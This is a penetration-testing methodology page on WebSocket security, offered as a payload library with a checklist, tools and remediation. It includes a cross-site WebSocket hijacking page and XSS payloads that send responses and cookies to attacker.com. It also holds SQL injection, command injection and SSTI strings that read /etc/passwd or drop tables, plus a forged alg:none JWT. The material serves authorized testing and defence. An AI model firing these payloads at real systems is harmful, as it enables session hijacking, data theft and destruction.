WebSocket Security Testing
Severity: High | CWE: CWE-345, CWE-20, CWE-79 OWASP: A03:2021 – Injection | A07:2021 – Identification and Authentication Failures
What Are WebSocket Attacks?
WebSockets provide full-duplex, persistent connections. Unlike HTTP, WebSocket frames lack built-in CSRF protection, don’t require Content-Type negotiation, and are often less scrutinized for injection. Attack surface: Cross-Site WebSocket Hijacking (CSWSH), injection via WebSocket messages, and authentication bypass.
Upgrade handshake:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://target.com
→ After upgrade: bidirectional message frames
→ No per-message CSRF protection
→ No per-message authentication header requirement
Discovery Checklist
- Find WebSocket endpoints: browser DevTools → Network → WS filter
- Check Upgrade handshake — does server validate
Originheader? - Test CSWSH: connect from attacker.com — does it use victim’s session cookie?
- Replay captured WebSocket messages with modified data (Burp WS Repeater)
- Test injection in WebSocket message payloads: XSS, SQLi, CMDi, SSTI
- Check authentication: is auth checked at handshake only or per-message?
- Test for IDOR in message IDs/room IDs
- Test for privilege escalation via message type manipulation
- Check if WebSocket messages are reflected (stored XSS via WS)
- Test token-based auth: JWT in WS URL or first message — test bypass
- Test reconnection — does reconnect revalidate auth?
- Test wss:// downgrade to ws:// (cleartext)
Payload Library
Attack 1 — Cross-Site WebSocket Hijacking (CSWSH)
If the server doesn’t validate the Origin header during the WebSocket handshake, an attacker’s page can initiate a WebSocket connection that carries the victim’s session cookie.
<!-- Attacker page: evil.com/cswsh.html -->
<!-- Victim visits this page while logged into target.com -->
<script>
var ws = new WebSocket("wss://target.com/chat");
ws.onopen = function() {
console.log("Connected — cookie sent automatically!");
// Send commands as victim:
ws.send(JSON.stringify({
"action": "getMessages",
"room": "admin"
}));
// Or change email:
ws.send(JSON.stringify({
"action": "updateEmail",
"email": "attacker@evil.com"
}));
};
ws.onmessage = function(event) {
// Exfiltrate server responses to attacker:
fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
ws.onerror = function(error) {
fetch("https://attacker.com/error?e=" + encodeURIComponent(error));
};
</script>
# Check Origin validation:
# In Burp: intercept WebSocket handshake, change Origin header
# Modify: Origin: https://attacker.com
# If server accepts → CSWSH likely possible
# Test via curl WebSocket upgrade:
curl -s --include \
--no-buffer \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Origin: https://attacker.com" \
"https://target.com/ws"
# If 101 Switching Protocols → Origin not validated
Attack 2 — XSS via WebSocket Message
// If WebSocket messages are reflected into the DOM:
// Server-side stored XSS via WS message:
// Send via Burp WebSocket Repeater:
{"message": "<img src=x onerror=alert(document.cookie)>"}
{"message": "<script>fetch('https://attacker.com/?c='+document.cookie)</script>"}
{"username": "attacker<script>alert(1)</script>"}
{"type": "notification", "content": "{{7*7}}"} // SSTI
// HTML entity bypass (if sanitized with HTML entities only):
{"message": "<img src=x onerror=alert(1)>"}
{"message": "<img src=x onerror=alert(1)>"}
// If message goes into innerHTML:
{"html": "<img src=1 onerror=alert(document.domain)>"}
Attack 3 — SQL Injection via WebSocket
// Test all message fields for SQLi:
{"action": "getUser", "id": "1' OR '1'='1"}
{"action": "search", "query": "test' UNION SELECT password,2,3 FROM users--"}
{"room": "general' AND SLEEP(5)--"}
{"userId": "1; DROP TABLE users--"}
// Time-based blind via WS:
{"action": "lookup", "value": "1' AND SLEEP(5)--"}
// Measure response delay in Burp WS Repeater
Attack 4 — Authentication Bypass / Token Manipulation
# Many WS apps authenticate via URL token or first message:
# wss://target.com/ws?token=JWT_TOKEN
# Or first message: {"auth": "SESSION_TOKEN"}
# Test: connect without auth token:
# Use Burp WebSocket Repeater → remove token from handshake URL
# See if server allows connection or sends data
# JWT manipulation in WS URL:
# Replace token with alg:none or weak-secret payload (see 28_JWT.md)
wss://target.com/ws?token=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
# Test token reuse across users:
# Connect as user A → get server response → disconnect
# Reconnect as user B using user A's session → does server accept?
# Test if auth validated per-message or only at handshake:
# 1. Connect with valid session
# 2. Session expires server-side
# 3. Continue sending messages → are they still processed?
Attack 5 — Command Injection via WebSocket
// If WS endpoint processes commands:
{"command": "ping 127.0.0.1"}
{"command": "ping 127.0.0.1; id"}
{"command": "ping 127.0.0.1 | id"}
{"command": "ping $(id)"}
{"command": "`id`"}
{"command": "ping 127.0.0.1\nid"}
// OS command in specific fields:
{"filename": "test.txt; cat /etc/passwd"}
{"host": "127.0.0.1; whoami"}
{"template": "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"}
Attack 6 — IDOR via WebSocket
// Change room/channel/user IDs:
{"action": "getMessages", "room_id": "VICTIM_ROOM_ID"}
{"action": "subscribe", "channel": "admin-channel"}
{"action": "updateUser", "user_id": 1, "role": "admin"}
{"action": "getFile", "file_id": "../../etc/passwd"}
// Message replay attack:
// Capture: {"action": "transfer", "to": "attacker", "amount": 100}
// Replay same frame multiple times (race condition)
Attack 7 — WebSocket Smuggling
# HTTP/1.1 Request Smuggling via WebSocket upgrade:
# If front-end doesn't properly validate Upgrade request:
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Connection: Upgrade, HTTP2-Settings
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==
# Some proxies don't properly handle partial WS upgrades
# → Smuggled HTTP request in the WS frame body
Tools
# Burp Suite (essential):
# - Proxy → WebSockets history tab (all WS frames captured)
# - Right-click frame → Send to Repeater (WS Repeater)
# - WS Repeater: manually craft and send frames
# - Active Scan includes basic WS injection tests
# wscat — command line WebSocket client:
npm install -g wscat
wscat -c wss://target.com/ws --header "Cookie: session=VALUE"
wscat -c wss://target.com/ws # test without auth
# Interactive: type messages, see responses
# websocat — advanced WebSocket CLI:
cargo install websocat
websocat wss://target.com/ws
websocat -H "Cookie: session=VALUE" wss://target.com/ws
# CSWSH test — Python:
pip3 install websocket-client
python3 -c "
import websocket
ws = websocket.WebSocket()
ws.connect('wss://target.com/ws', origin='https://attacker.com')
ws.send('{\"action\": \"getProfile\"}')
print(ws.recv())
ws.close()
"
# Injection fuzzing via Python:
python3 -c "
import websocket, json
payloads = [
'{\"id\": \"1\\'OR\\'1\\'=\\'1\"}',
'{\"msg\": \"<script>alert(1)</script>\"}',
'{\"cmd\": \"id\"}',
]
ws = websocket.WebSocket()
ws.connect('wss://target.com/ws', cookie='session=VALUE')
for p in payloads:
ws.send(p)
print(ws.recv()[:200])
ws.close()
"
# Discover WS endpoints:
# Browser DevTools → Network → WS tab
# Burp Proxy → WebSockets history
# grep JS files:
grep -rn "new WebSocket\|websocket\|wss://\|ws://" --include="*.js" .
Remediation Reference
- Validate
Originheader during WebSocket handshake — reject unexpected origins - Use CSRF-equivalent token in first WS message or as a query parameter to the handshake
- Re-authenticate per session/message for sensitive operations
- Input validation on all WebSocket message fields — treat as untrusted user input
- Authenticate at every reconnect — don’t assume a new connection belongs to the same authenticated user
- Use
wss://only — rejectws://(cleartext) connections - Rate-limit message frequency to prevent DoS via message floods
- Validate JSON schema of incoming messages — reject unexpected fields/types
Part of the Web Application Penetration Testing Methodology series.